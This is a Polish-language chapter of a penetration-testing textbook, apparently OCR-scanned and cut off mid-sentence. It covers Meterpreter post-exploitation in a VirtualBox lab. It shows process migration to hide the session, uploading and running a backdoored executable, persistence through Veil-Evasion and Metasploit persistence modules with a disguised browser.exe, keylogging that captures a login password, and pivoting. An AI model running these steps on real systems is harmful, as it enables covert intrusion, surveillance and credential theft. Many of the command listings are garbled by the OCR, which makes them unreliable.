Eksploatacja po ataku

Wczesniej omowilismy, jak uzyska¢ dostep do urzadzen za pomocg réznych technik. Teraz przejdziemy
do zadania po ataku, ktére skupi sie na sesji Meterpretera i sposobach wykorzystania systemu
docelowego po uzyskaniu do niego dostepu. Nastepnie przyjrzymy sie podstawowym poleceniom
systemu plikdw, ktére mogg pomdc w wykorzystaniu systemu docelowego. Do tej pory w tej ksigzce
uzyskiwalismy dostep do systemu docelowego tylko do momentu, w ktérym ofiara miata uruchomiony
nasz plik lub oprogramowanie typu backdoor. Teraz przyjrzymy sie, jak utrzymaé dostep do systemu,
zaréwno za pomocg prostych, jak i zaawansowanych metod. Oméwimy nawet, co mozna zrobi¢ po
przeprowadzeniu ataku keyloggerowego. Nastepnie przyjrzymy sie waznej koncepcji obrotu i
wykorzystamy jg do utworzenia trasy automatycznej. W tym rozdziale omdéwione zostang nastepujace
tematy:

Wprowadzenie do eksploatacji po awarii

Podstawy Meterpretera

Polecenia systemu plikéw

Utrzymywanie dostepu za pomoca prostych metod
Utrzymywanie dostepu za pomocg zaawansowanych metod
Logowanie nacisnie¢ klawiszy

Wprowadzenie do przestawiania

Automatyczne przestawianie tras

Wprowadzenie do post-eksploatacji

Skoro juz wiemy, jak uzyskac dostep do naszego celu, przyjrzyjmy sie, co mozemy z nim zrobié. W tej
sekcji poznamy szereg mozliwosci po uzyskaniu dostepu do komputera. Przyjrzymy sie, co zrobié z
komputerem, niezaleznie od sposobu uzyskania do niego dostepu — czy wykorzystamy exploit po
stronie serwera, socjotechnike, backdoor, problem z okreslong aplikacjg, czy inng metode. W
poprzednich rozdziatach zawsze zatrzymywaliSmy sie, gdy dotarliSmy do odwrotnej sesji Meterpretera
z naszego celu. W tym rozdziale rozpoczniemy od sesji Meterpretera. Nie bedziemy omawia¢, jak
uzyskaliSmy dostep, ale co mozemy zrobié¢ po jego uzyskaniu. Omdéwimy kilka naprawde ciekawych
rzeczy, takich jak utrzymanie dostepu do komputera docelowego, nawet jesli jego uzytkownik
odinstaluje podatny program lub uruchomi go ponownie. Przyjrzymy sie, jak pobieraé, przesytac i
odczytywaé pliki, uruchamia¢ kamere internetowa, uruchamiaé¢ keylogger w celu rejestrowania
nacisnie¢ klawiszy i tak dalej. Przyjrzymy sie réwniez, jak wykorzysta¢ komputer docelowy jako punkt
zaczepienia do wykorzystania wszystkich komputerow w tej samej sieci (zaktadajgc na przyktad, ze
naszym celem nie jest w rzeczywistosci komputer, ktéry zhakowalismy, ale znajduje sie w tej samej
sieci co ten komputer). Ponownie, wszystkie czynnosci, ktére wykonamy w tym rozdziale, beda
koncentrowac sie na wykorzystaniu luk w zabezpieczeniach celu i uzyskaniu do niego dostepu.

Podstawy Meterpretera

W tej sekcji poznamy podstawy interakcji z Meterpreterem Metasploit. W systemie Linux polecenie
help jest zawsze najlepszym poleceniem do uruchomienia, jesli chodzi o uzyskanie informacji o
konkretnym poleceniu. Dlatego pierwszg rzecza, ktérg zrobimy, bedzie uruchomienie polecenia help,



aby uzyska¢ obszerng liste wszystkich polecen, ktére mozemy uruchomié, oraz opis dziatania kazdego
z nich, jak pokazano na ponizszym zrzucie ekranu:

meterpreter > help

Core Commands

Command

?

background
bgkill
bglist

bgrun
channel
close

detach
disable unicode encoding
enable unicode encoding
exit

get timeouts
quid

help

info

irb

load

machine 1id
migrate
pivot

quit

read
resource
run

Sessions

set timeouts
sleep

ssl verify
transport
use

uuld

write

Description

Help menu

Backgrounds the current session

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or control active channels
Closes a channel

Detach the meterpreter session (for http/https)
Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Get the session GUID

Help menu

Displays information about a Post module

Drop into irb scripting mode

Load one or more meterpreter extensions

Get the MSF ID of the machine attached to the session
Migrate the server to another process

Manage pivot listeners

Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Execut a meterpreter script or Post module
Quickly switch to another session

Set the current session timeout values

Force Meterpreter to go quiet, then re-establish session.
Modify the SSL certificate verification setting
Change the current transport mechanism
Deprecated alias for "load"

Get the UUID for the current session

Writes data to a channel

Przyjrzyjmy sie podstawom. Pierwszg rzeczy, ktdrg podkreslimy, jest polecenie background, w

nastepujgcy sposob:

Polecenie background w zasadzie uruchamia biezgcg sesje w tle bez jej zamykania. Dziata to bardzo

podobnie do minimalizowania okna. Po uruchomieniu polecenia background, mozemy wrdcié¢ do
Metasploit i uruchomié inne polecenia, aby jeszcze bardziej wykorzystaé potencjat maszyny docelowej
(lub innych maszyn), utrzymujgc potgczenie z komputerem, ktory wtasnie zhakowalismy. Aby

wyswietli¢ liste wszystkich uzywanych komputerdéw i sesji, mozemy uruchomi¢ polecenie session -,
ktore wyswietla biezgce sesje. Jak wida¢ na ponizszym zrzucie ekranu, nadal mamy sesje Meterpretera,

nie utraci

jest 10.0.2.5:

iSmy jej i znajduje sie ona pomiedzy naszym urzadzeniem i urzgdzeniem docelowym, ktérym



Intormation Connection

meterpreter x86/windows MSEDGEWIN1O\IEUser @ MSEDGEWIN1O 10.0.2.15 @ -> 10.0.2.5:49932

Jesli chcemy powrdcié do poprzedniej sesji i ponownie uruchomié Meterpretera, wystarczy uruchomié
polecenie sessions z opcja -i (od ,interaction”), a nastepnie podac identyfikator (w naszym przypadku
2) w nastepujacy sposob:

msf exploit( ) > sessions -i 2
[#*] Starting interaction with 2...

meterpreter > I

Kolejnym poleceniem jest sysinfo. Uruchamiamy je za kazdym razem, gdy wtamujemy sie do systemu;
wyswietla ono informacje o komputerze docelowym. Jak widaé na ponizszym zrzucie ekranu, wyswietla
ono nazwe komputera, jego system operacyjny i architekture. Na ponizszym zrzucie ekranu widac
rowniez, ze jest to komputer 64-bitowy, wiec jesli w przysztosci bedziemy chcieli uruchamiaé pliki
wykonywalne na komputerze docelowym, musimy utworzy¢ pliki wykonywalne 64-bitowe:

meterpreter = sysinfo

Computer : MSEDGEWINI1®

0s : Windows 18 (Build 17134).
Architecture : X64

System Language : en US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : XB6/windows

Widzimy, ze uzywanym jezykiem jest angielski, grupa robocza, w ktorej pracuje komputer, oraz
identyfikator zalogowanego uzytkownika. Widzimy réwniez wersje Meterpretera uruchomiong na
komputerze docelowym, ktéra w rzeczywistosci jest 32-bitowa. Innym przydatnym poleceniem do
zbierania informacji jest ipconfig. Polecenie ipconfig jest w tym przypadku bardzo podobne do
polecenia ipconfig, ktére uruchamiamy na komputerach z systemem Windows (w wierszu polecen);
wyswietli nam ono wszystkie interfejsy podtgczone do komputera docelowego, jak pokazano na
ponizszym zrzucie ekranu:



I : Software Loopback Interface 1
Hardware MAC

MTU

IPv4 Address

IPvd Netmask

IPve Address |

IPv6 Netmask : Ffff:ffff:fFfff:Ffff:FFff:FFff:FFff:FFFF

Interface

Hardware MAC
MTU
IPvd Address

IPv6 Netmask

Na przyktad mozemy zobaczyé Interface 1, adres MAC, adres IP, a nawet adres IPv4, potaczone z
wieloma sieciami. Mozemy réwniez zobaczy¢ wszystkie interfejsy i sposoby interakcji z nimi. Innym
przydatnym poleceniem do gromadzenia informacji jest polecenie ps. Polecenie ps wyswietla liste
wszystkich procesédw uruchomionych na komputerze docelowym; mogg to by¢ procesy dziatajgce w tle
lub rzeczywiste programy dziatajgce na pierwszym planie jako programy systemu Windows lub
interfejsy graficzne. Na ponizszym zrzucie ekranu widzimy liste wszystkich uruchomionych proceséw
wraz z nazwg i identyfikatorem (PID) kazdego z nich:

Ciekawym procesem jest explorer.exe - jest to dostownie graficzny interfejs systemu Windows. Jak
widac¢ na powyzszym zrzucie ekranu, dziata on na PID 4744, jak pokazano tutaj:

4744 42400 axplorer,@xe FMMIGEWINIE EEUder O WNindowi\dxplorer . axd




Po wtamaniu sie do systemu, bardzo dobrym pomystem jest migracja procesu, na ktéorym dziata
komputer, do bezpieczniejszego procesu. Na przyktad proces explorer.exe jest graficznym interfejsem
systemu Windows, wiec dziata zawsze, dopdki uzytkownik korzysta ze swojego urzadzenia. Oznacza to,
ze jest znacznie bezpieczniejszy niz proces, za pomocy ktérego uzyskaliSmy dostep do komputera. Na
przyktad, jesli uzyskalismy dostep za posrednictwem pliku wykonywalnego lub programu, utracimy
proces, gdy tylko uzytkownik zamknie ten program. Lepszg metodg jest migracja do procesu, ktéry ma
mniejsze prawdopodobienstwo zamkniecia lub zakoriczenia. W tym celu uzyjemy polecenia o nazwie
migratre, ktdre przeniesie naszg biezgcg sesje do innego procesu. Wykorzystamy proces explorer.exe
poniewaz jest on bardzo bezpieczny.Uzyj polecenia migrate 4744, gdzie 4744 to PID procesu
explorer.exe. Ponizej przedstawiono wynik polecenia migrate:

jrating
Migration co

W tej chwili Meterpreter dziata z procesu explorer.exe. Jesli przejdziemy do Menedzera zadan na
komputerze docelowym i uruchomimy Monitor zasobdw, a nastepnie przejdziemy do zaktadki Sie¢ i do
Potaczen TCP, zobaczymy, ze potgczenie na porcie 8080 pochodzi z procesu explorer.exe , jak pokazano
ponizej:

M) Resource Monitor O
File Monitor Help

Overview CPU Memory Disk Metwock

P ith N rk Acti ‘: ~ > Views v

Image

Syite

vehost exe (NetworkSerice 14 =

Network Activity W gy Netwerk (O B O Netmot Utaustion ~

TCP Connections -

2y

eaploter exe 2116 023 57564

explorer exe 2116 0.20 53934 1.2 &3

1CP Coanections

Zatem, jesli chodzi o cel, nie pochodzi on ze ztosliwego pliku, naszego tadunku ani tylnego wejscia, lecz
przebiega przez explorer.exe, co nie jest podejrzane. Teraz, jesli zobaczymy Firefoksa lub Chrome,
mozemy migrowaé do tych proceséw. A jesli faczymy sie przez port 8080 lub 80, bedzie to wygladac
jeszcze mniej podejrzanie, poniewaz porty 80 i 8080 sg uzywane przez serwery WWW, wiec nawigzanie
potgczenia przez nie jest bardzo naturalne.

Polecenia systemu plikow



Teraz przyjrzymy sie kolejnym poleceniom, ktére pozwolg nam nawigowa¢, wyswietla¢, odczytywaé,
pobieraé, przesytaé, a nawet uruchamiaé pliki na komputerze docelowym. Mamy uruchomiong sesje
Meterpretera i pierwszg rzecza, jaka zrobimy, bedzie pobranie biezgcego katalogu roboczego za
pomoca polecenia pwd. Przeniesie nas ono do lokalizacji C:\Users. Aby wyswietli¢ liste wszystkich
plikdw i katalogédw, mozemy uzy¢ polecenia Is; ponizszy zrzut ekranu przedstawia liste plikow:

5ize Type Last modified Name

Default
IEUser
Publ

Zatdéimy, ze chcemy przejs¢ do folderu IEUser. Uzyjemy polecenia cd IEUser, a jesli uzyjemy pwd,
znajdziemy sie w katalogu C:\Users\IEUser. Nastepnie przejdziemy do katalogu Downloads i
wyswietlimy liste plikdw. Na ponizszej liscie plikdw widzimy passwords.txt, ktory wydaje sie
interesujacy:

pasword
test
update.exe

Aby odczytac ten plik, wystarczy uzy¢ polecenia cat passwords.txt. Mozemy wtedy zobaczy¢ zawartos$c
pliku, jak pokazano na ponizszym zrzucie ekranu.

metferpreter
testl

Jesli sprawdzimy ten plik, zobaczymy, ze wynik polecenia cat jest zgodny z zawartoscig pliku. Zatézmy,
ze chcemy zachowac ten plik na pdzniej. Mozemy go pobraé, uzywajgc polecenia download i nazwy
pliku, ktéra brzmi paswords.txt. Wynik polecenia wyglagda nastepujgco:

dowT




Po uruchomieniu polecenia plik zostanie pobrany; jesli przejdziemy do naszego katalogu
zobaczymy plik o nazwie paswords.txt zawierajgcy wszystkie swoje dane:

# cd /root/
# 1s

alert.js

bdfproxy msf resource.rc
De XKto

[ load
hamster. txt

New Graph (1).mtgl’
.’1 re

proxy.log

sniff-2018-07-16-eth.pcap

T¢ nlate
| 31

test-upc
test-upc

test-upc-
-01.
-02

test-upc
test-upc

test-upc-
test-upc-
test-upc-

01

-01

01

02
02
02

.cap
.CSV
.Kismet.
kKismet.
.cap
.CSV
.Kismet.
.Kismet.

csv
netxml

csv
netxml

root,

Zatézmy teraz, ze mamy backdoora, wirusa, trojana lub keyloggera, ktéry chcemy wgrac¢ na komputer
docelowy. Mozemy to zrobi¢ bardzo tatwo. Wracajgc do naszego katalogu root, widzimy wiele plikow,
w tym jeden o nazwie backdoored-calc.exe, Sprobujemy wgrad ten plik, uruchamiajac polecenie

upload wraz z nazwa pliku. Plik zostanie wgrany, jak pokazano na ponizszym zrzucie ekranu:

terpreter » upload backdoored-calc

backdoored

2. 78 MiB of 2.78

calc.exe

MiB (l88.

- L2

backdoored-calc.exe -> backdoored-calc.exe

= backdoored- ¢

Teraz wywotamy liste, aby upewnic sie, ze plik istnieje; na ponizszym zrzucie ekranu mozemy zobaczy¢
nowy plik o nazwie backdoored-calo.axe,

M=rw

t modified

Qelpg.Zlp

backdoored-calc.exe

test.

update. exe

Aby uruchomic przestany plik na komputerze docelowym (jesli jest to wirus lub keylogger), wystarczy
uruchomié polecenie execute i po opcji —f wskazaé plik, ktéry chcemy uruchomié. W naszym
przyktadzie plik to backdoored-calc.exe, Po uruchomieniu zobaczymy, ze proces 3324 zostat
utworzony, a wiec nasze tylne wejscie zostato wykonane:

hackdoored-cale. exe

Jedli backdoored-calc.exe jest wirusem, to zrobi to, co powinien. Kolejng funkcjg jest polecenie
powtoki, ktére konwertuje biezgcg sesje Metasploit lub Meterpretera na powtoke systemu
operacyjnego. Po wpisaniu polecenia powtoki pojawi sie wiersz polecen systemu Windows, w ktérym
mozemy wykonywac polecenia systemu. Jak widaé na ponizszym zrzucie ekranu, znajduje sie on na
osobnym kanale i mozemy za jego posrednictwem uruchamia¢ dowolne polecenie systemu Windows.



Mozemy wiec uruchomi¢ polecenie dir, aby wyswietli¢ liste wszystkich katalogéw; mozemy uzyé
polecenia ipconfig; i mozemy uzy¢ dowolnego innego polecenia systemu Windows, doktadnie tak
samo, jak w przypadku uruchamiania polecen z poziomu wiersza polecen:

meterpreter = shell
Process 31088 created.
Channel 4 created.

Microsoft wWindows [Version 10.8.17134.165]
{c) 2018 Microsoft Corporation. ALl rights reserved.

Istnieje wiele innych polecen, ktérych mozemy uzyé do zarzadzania systemem plikéw. Jesli wpiszemy
polecenie ,help” i przejdziemy do sekcji ,filesystem”, zobaczymy, ze mozemy edytowaé, pobieraé,
przenosi¢ pliki do innych plikéw, zmienia¢ nazwy plikdow, usuwac pliki, usuwac katalogi, wyszukiwac
itd. Jest o wiele wiecej rzeczy, ktére mozemy zrobi¢ z systemem plikéw, a wtasnie przedstawilismy
podstawowy przeglad gtdwnych polecen, ktdrych mozemy uzy¢ do zarzadzania systemem plikdw na
komputerze docelowym, jak pokazano na ponizszym zrzucie ekranu:

Stdapi: File

Read the con of a file to the scr
Change direc f

checksum Retriev sum of a file

cp Copy source to destination

dir List files (alias for ls)

download Download a file or directory

edit Edit a file

getlwd Print local working directory

getwd Print working directory

lcd Change local working directory
1ls List local files

1pwd Print local working directory
1s List files

mkdir Make directory

my Move source to destination

pwd Print working directory
m Delete the specified file
rmdir Remove directory
Search for files
show mount List all mount points/logical drives
upload Upload a Tile or directory

Utrzymywanie dostepu za pomoca prostych metod

We wszystkich dotychczasowych przyktadach traciliémy pofaczenie z komputerem docelowym
natychmiast po ponownym uruchomieniu komputera przez uzytkownika docelowego, poniewaz
uzylismy standardowego backdoora. Po ponownym uruchomieniu komputera backdoor zostatby
zamkniety, proces zostatby przerwany, a pofaczenie zostatoby utracone. W tej sekcji omdéwimy
metody, ktdre pozwolg nam utrzymac dostep do komputera docelowego, dzieki czemu moglibySmy
wréci¢ w dowolnym momencie i odzyskaé petng kontrole nad komputerem. Istnieje kilka sposobdw,
aby to zrobic. Pierwszym z nich jest uzycie Veil-Evasion; zamiast utworzonego backdoora HTTP mozemy



uzy¢ ustugi HTTP lub TCP. Przyjrzyjmy sie przyktadowi. Jesli uzyjemy Veil-Evasion i uruchomimy
polecenie list, zobaczymy, ze pod numerami 6 i 8 mamy backdoory ustug, jak pokazano na ponizszym
zrzucie ekranu:

Veil/Evasion>: list

Available Payloads

autoit/shellcode inject/flat.py

y/coldwar wrapper.py
cro converter.py
rinstaller wrapper.py

eterpreter/rev_http.py

eterpreter/rev http service.py
c/meterpreter/rev tcp.py
c/meterpreter/rev tcp service.py

Jezeli uruchomimy use 6, wystarczy skonfigurowaé LHOST, a nastepnie generate tylne drzwi;
mozemy potgczy¢ je z innymi metodami i wysta¢ do osoby docelowej lub mozemy je przesta¢ za
pomocg polecenia upload, ktérego sie nauczylismy, a nastepnie je wykonaé, co spowoduje
zainstalowanie tylnych drzwi jako ustugi na komputerze docelowym:

Veil/Evasion>: use 6

Veil-Evasion

[Web]: https:

/www . velil - framework m/ | [Twitter]: eilFramework
Payload Information
L ETIH Pure C Reverse HTTP Service
Language: C
Rating: Excellent
Description: pure windows/meterpreter/reverse http windows
service stager compatible with psexec, no
shellcode
Payload: c/meterpreter/rev http service

Required Options

Name / Description

COMPILE TO EXE Y Compile to an executable
LHOST IP of the Metas t handler
LPORT Port of the Metasploit handler

Available Commands:

back Go back to Veil-Evasion
exit Completely exit Veil
generate Generate the payload
options Show the shellcode's options
set Set shellcode option

[c/meterpreter/rev http service>>




Woystarczy uzy¢ multi-handlera, a za kazdym razem, gdy nasz komputer docelowy sie uruchomi,
sprébuje sie z nami potaczyé, poniewaz jest to odwrdcona powtoka. Nie bedziemy omawiac tej metody
szczegdtowo, poniewaz jest bardzo prosta. RobiliSmy juz co$ podobnego wczesniej: stworzylismy
backdoora za pomocg Veil-Evasion i wgraliSmy go na komputer docelowy. Wystarczy wiec utworzyé
backdoora, wgrac go, uruchomic¢ i gotowe. To nie zawsze dziata — to kolejny powdd, dla ktérego nie
bedziemy tego szczegdétowo analizowaé. Zwykte backdoory sg o wiele bardziej niezawodne; dlatego
uzylismy zwyktego backdoora, gdy taczyliSmy backdoory z innymi metodami, takimi jak zmiana ikony.
Inng metoda jest uzycie modutu dotgczonego do Meterpretera o nazwie persistence ; zobaczmy, jak
mozemy go uzy¢. Wystarczy uzyé run z persistence, a nastepnie uzy¢ -h, aby wyswietli¢ menu pomocy,
w ktérym znajdujg sie wszystkie opcje, ktdre mozemy skonfigurowac. Na ponizszym zrzucie ekranu
widaé, ze -A od razu uruchamia multi-handler; nie musimy zmieniaé lokalizacji, w ktérej zostanie
zainstalowany backdoor:

meterpreter = rum persistence -h

[I] Meterpreter scripts = 14 'y L/win rsistence exe.
[!'] Exampl run
Meterpreter Script

OPTIONS:

e agen
able template use
start the agent when the U

The int
The port o
The IP of the

windows,/meterpreter/reverse_

Opcja -P okresla tadunek; ponownie, EEP to naprawde dobry
tadunek, wiec nie musimy sie nim zbytnio przejmowac. Opcja -S stuzy do rozpoczecia korzystania z
uprawnien systemowych; jak wspomniano wczesniej, nie mamy uprawnien systemowych, wiec
powinnismy uzy¢ opcji -U. Nastepnie mozemy uzy¢ opcji -i, aby ustawic czas, przez jaki backdoor bedzie
probowat potgczyc sie z nami; bedzie prébowat potaczy¢ sie co 10, 15 lub 20 sekund — w zaleznosci od
tego, co okreslimy. Opcja -p okresla port, a opcja -r okresla adres IP naszego komputera. Aby
uruchomié¢ persistence, wystarczy uzy¢ Tun persistence, -0 - (ghy yruchomié z uprawnieniami
uzytkownika), -i po 20 sekundach, a nastepnie -p, i prawdopodobnie wstawimy 80, poniewaz, jak
wspomnielismy, port 80 nie wyglada podejrzanie. Nastepnie mozemy uzy¢ -, aby okresli¢ nasz adres
IP, ktéry wynosi 10.0.2.15. Polecenie bedzie wygladaé mniej wiecej tak:

run persistence -U -i 20 -p 80 -r 10.0.2.15

Oczywiscie, po uruchomieniu tego polecenia, aby nawigza¢ potaczenie, musimy uruchomic
multihandler na porcie 80 (lub na wybranym porcie za pomocg tadunku). Problem z t3 metodg polega
na tym, Ze jest ona wykrywalna przez programy antywirusowe; dlatego nie bedziemy jej szczegétowo
omawiaé. Zamiast tego omoéwimy kombinacje obu tych metod, ktéra nie bedzie wykrywalna przez
programy antywirusowe i bedzie znacznie bardziej niezawodna niz uzycie metody Veil-Evasion.

Utrzymywanie dostepu za pomoca zaawansowanych metod

W tej sekcji wykorzystamy standardowy, niewykrywalny backdoor HTTP odwrotnego Meterpretera,
ktory utworzylismy wczesniej. Wstrzykniemy go jako ustuge, dzieki czemu bedzie uruchamiany za



kazdym razem, gdy uzytkownik docelowy uruchomi swdj komputer; bedzie prébowat pofaczy¢ sie z
nami w okreslonych odstepach czasu. Aby to zrobié, najpierw przetgczymy biezgcg sesje w tto.
Robilismy to juz wczesniej; mozemy korzystac z tta i nadal wchodzié¢ w interakcje z sesjg na numerze 2.
Uzyjemy modutu; jest on podobny do modutu wielodostepnego dotgczonego do Metasploit i nazywa

exploit/windows/local fpersistence

sie " Przyjrzymy sie jego opcjom, aby zobaczy¢, co musimy
skonfigurowac. Na ponizszym zrzucie ekranu widzimy opcje podobne do tych, ktére widzielismy w
ustudze Metasploit:

Pierwszg rzeczg jest liczba sekund, w ciggu ktérych komputer docelowy bedzie prébowat nawigzaé z
nami potgczenie zwrotne — DELAY. Utrzymamy te warto$¢ na poziomie 10 sekund — tak wiec co 10
sekund komputer docelowy bedzie prébowat nawigzaé¢ z nami potgczenie zwrotne. EXE_NAME to
nazwa, ktéra bedzie wyswietlana w procesach, z ktérych nawigzywane jest potgczenie. Ustawimy jg na
przeglagdarke, aby byta trudniejsza do wykrycia; ustawimy wiec EXE_NAME na browser.exe. Polecenie
wyglada nastepujaco:

set EXE_NAME browser.exe

Sciezka PATH, w ktérej zostanie zainstalowany tadunek lub backdoor, pozostanie taka sama, podobnie
jak REG_NAME (wpis w rejestrze). To bardzo wazne: musimy okresli¢, w ktdrej sesji uruchomic exploita.
W tym przyktadzie uzywamy sesji numer 2; to nasza sesja Meterpretera. Jesli uzyjemy sesji -1, wyswietli
sie lista wszystkich dostepnych sesji, a ich numer identyfikacyjny to 1:

Musimy ustawi¢ nasz SESSION na liczbe 2. Uzyjemy wiec setr SESSION 2, a STARTUP pozostanie jako
USER. dla uprawnien uzytkownika. Teraz, jesli uruchomimy show options, zobaczymy, ze browser.exe
i numer sesji 2 sg ustawione w nastepujacy sposéb:



Najwazniejszg rzecza do zrobienia jest okreslenie fadunku, ktdry zostanie wstrzykniety jako ustuga. W
tym celu uruchomimy polecenie show advanced. Polecenie show advanced. wyswietli nam
zaawansowane opcje, ktdre mozemy skonfigurowaé dla tego konkretnego modutu. Interesuje nas
polecenie EXE::Custom, wskazujgce, ze uzyjemy niestandardowego polecenia .exe, ktdre zostanie
uruchomione i wstrzykniete do komputera docelowego jako ustuga:

fvar fuwww/html /backdoor . exe

Ustawimy XE::Custom na :, dzieki czemu bedziemy mogli

fvar fwww/html /backdoor.exe

uruchomi¢ nasze tylne drzwi, ktére mieliémy zapisane w *
wyglgda nastepujgco:

. Polecenie

set EXE::Custom /var/www/html|/backdoor.exe

Teraz uruchomimy show advbanced, aby upewnic sie, ze zostato poprawnie skonfigurowane, poniewaz
czasami popetniamy btedy ortograficzne:



. s . 7 Svar/fwww/ html/backdoor.exe
Zamierzamy wykonaé exploit to, a to przedle VAT WWW/Btmifbackdoor. X8, omputer
docelowy, uzywajac okreslonej przez nas sesji (numer sesji 2). Zobaczymy, ze zostata ona przestana i

zainstalowana po uruchomieniu exploit, w nastepujgcy sposob:

Wazng rzeczg, o ktérej nalezy pamietad, jest plik zasobdw, poniewaz mozemy go uzy¢ do wyczyszczenia
i usuniecia backdoora po zakonczeniu jego uzywania. Jesli nie chcemy juz, aby backdoor znajdowat sie
na komputerze docelowym, mozemy uzy¢ pliku zasobdw, aby go usungé. Mozemy zapisaé Sciezke do
pliku RC z wyniku polecenia exploitw Leafpadzie, abysmy mogli go uruchomié i usungé nasz backdoor
w przysztosci. Jesli uruchomimy sressions -1, pokaze to, ze sesja istnieje i mozemy z nig wchodzi¢ w
interakcje. Mozemy zakonczy¢ te sesje za pomocg polecenia sessions -K. Teraz, jesli uzyjemy list, nie
bedziemy mieli zadnych potaczen z komputerem docelowym. Korzystajgc z naszego multi-handlera
exploitdw, mozemy nastuchiwaé pofaczen przychodzacych. Jesli uruchomimy exploit, a zhakowany
komputer jest juz uruchomiony, potgczenie zostanie nawigzane natychmiast, poniewaz nasz backdoor
zostat wstrzykniety do komputera docelowego na porcie 8080 w reverse_http. Uruchomimy jednak
ponownie komputer docelowy, aby upewnic sie, ze zawsze bedziemy z nim mie¢ potgczenie.
Wykonajmy standardowy restart komputera z systemem Windows. Nasz komputer Kali bedzie
probowat potgczyc sie z nim ponownie co 10 sekund, niezaleznie od tego, ile razy komputer z systemem
Windows zostanie ponownie uruchomiony lub wyfgczony. Teraz uruchomimy nasz handler
Meterpretera i bedziemy czeka¢ na potgczenia. Wystarczy uruchomi¢ exploit, aby nastuchiwaé, a
nawigzanie potgczenia zwrotnego zajmie maksymalnie 10 sekund. Jak wida¢ na ponizszym zrzucie
ekranu, nawigzaliSmy pofaczenie z komputerem docelowym i teraz mamy do niego petny dostep:

Rejestrowanie naci$niec klawiszy



W tej sekcji dowiesz sie, jak rejestrowaé kazde zdarzenie myszy lub klawiatury na komputerze
docelowym. Zrobimy to za pomocg wtyczki dotgczonej do Meterpretera. Mamy juz Meterpretera, wiec
wystarczy uruchomié polecenie keyscan_star w nastepujgcy sposdb:

sniffer ..

Zatézmy, ze chcemy wejs¢ na Facebooka i zalogowac sie na konto. Jesli spojrzymy na adres URL witryny,
zauwazymy, ze zawiera on protokét HTTPS i nie ma w nim nic ztego. Zazwyczaj do zalogowania sie na
konto potrzebujemy hasta. Jesli wrécimy do terminala, zobaczymy log wszystkiego, co zostato
zarejestrowane, wpisujgc keyscan_dump. Dzieki temu poleceniu mozemy zobaczyé, ze uzytkownik
docelowy wpisat www.facebook.com, nacisnat Enter i wprowadzit swojg nazwe uzytkownika, ktéra
brzmiata 231 AELSecUrILY. 01T, 5ra; hasto 123456:

urlty.org<Tab=123456<CR=

To zapisze wszystko, co dzieje sie na komputerze. Mozemy zatrzymac dziatanie keyscan_stop, a sniffer
zostanie zatrzymany. Inng fajng rzecza, ktérg mozemy zrobic, jest wykonanie zrzutu ekranu, po prostu
wpisujgc screenshot; zostanie on zapisany w katalogu /root:

screenshot

»d to: Sroot/POolH]jji.jpeq

Przejdz do katalogu /root, a zobaczysz zrzut ekranu. Pokazuje on, co jest wyswietlane na ekranie
komputera docelowego:

PQoH|ji jpeg




To tylko dwie z dostepnych funkcji. Keylogger jest bardzo przydatny, poniewaz pozwala nam uzyskaé
nazwy uzytkownikow i hasta oraz sprawdzi¢, co uzytkownik docelowy robi na komputerze. Oczywiscie
mozemy korzystac z innych programéw do keyloggerdw, takich jak przenosny keylogger; wystarczy je
wgraé za pomoca polecenia upload, ktdrego nauczyliSmy sie wczesniej, a nastepnie uruchomié.

Wprowadzenie do pivotingu

W tej sekcji (i kilku kolejnych) omoéwimy koncepcje pivotingu. Zatozymy, ze naszym celem jest
urzadzenie METASPLOITABLE. Na ponizszym diagramie kazde z duzych kétek przedstawia sie¢ i, jak
widaé, urzadzenie Metasploitable nie jest widoczne dla hakera:

POST EXPLOITATION - PIVOTING

L

METASPLOITABLE

® Use the hacked device as a pivot.
@ Try to gain access to other devices in the network

Urzadzenie Metasploitable jest ukryte, albo za siecig, albo z jakiegos innego powodu. Haker nie moze
pingowac ani uzyska¢ dostepu do adresu IP urzgdzenia Metasploitable. Zaktadamy, ze w naszym
przyktadzie urzadzenie Metasploitable znajduje sie w innej sieci. Widzimy, ze sie¢ ma cztery urzadzenia.
Zawiera urzadzenie Metasploitable, iPhone'a, inne urzadzenie i urzadzenie z systemem Windows
(ktore zhakowalismy i ktore jest zaznaczone na czerwono); urzadzenie hakera znajduje sie w mniejszej
sieci, a s tam tylko dwa urzadzenia (haker i komputer z systemem Windows, ktéry zhakowalismy).
Celem pivotingu jest wykorzystanie zhakowanego urzgdzenia (wspdlnego urzadzenia posrodku) do
skompromitowania innych urzadzen, do ktérych ma dostep. Haker nie widzi wiec naszego celu, czyli
urzadzenia Metasploitable — urzadzenie, ktore wtasnie zhakowalismy, widzi je, poniewaz znajdujg sie
w tej samej sieci. W kolejnych sekcjach sprébujemy zhakowaé urzgdzenie Metasploitable, nawet gdy
nie jest ono widoczne dla hakera (urzadzenie Kali). Jedynym sposobem uzyskania dostepu do
urzadzenia Metasploitable jest urzadzenie z systemem Windows, ktére postuzy jako punkt odniesienia.
Aby skonfigurowaé naszg sie¢ (nasze laboratorium), przejdziemy do ustawien VirtualBox, a nastepnie



do Preferencji | Sie¢; zobaczymy, ze mamy sie¢, ktdrej uzywaliSmy jako wewnetrznej sieci NAT:

& VirtualBox - Preferences (®][=]
M General .Hatw{.'l'k

@ Input NAT Nebworks

| -
Q Language %
|.E| Display

mP Network

[ eensions

ﬂﬁ Prosy

[ oK [ Cann:all |

Sie¢ NatNetwork to sie¢, do ktérej podtgczone sg nasze urzadzenia Windows i Kali. Klikajgc znak plus
(+), utworzymy kolejng sie¢ NAT, ktéra bedzie sie nazywac NatNetwork1:

Cﬁ'b"-’irtuaIElux-Pa'efer&nces ITIE
@ General MNetwork

0 Input MAT Nabworks

@ Update Active  Name E
_ [ MatMetwark E
G Language [#] MNatietworkl E
Display

E M etwrork

D Extensions

Prosy

[ ok ” Canicel

Teraz klikniemy trzecig ikone po prawej, aby edytowaé ustawienia i ustawi¢ adres IP sieci. Ustawimy
go na 10.0.3.0/24. Ponizszy zrzut ekranu przedstawia wszystkie ustawienia:



& NAT Network Details 2=

V| Enable Network
Network Name: NatNetwork1
Network CIDR: 10.0.3.0/24
Network Options: [V! Supports DHCP

Supports IPv6
Advertise Default IPv6 Route
l Port Forwarding |
oK ‘ [ Cancel ]

UtworzyliSmy wiec kolejng sie¢, z ktorg komputer Kali nie jest potgczony. Teraz zmodyfikujemy
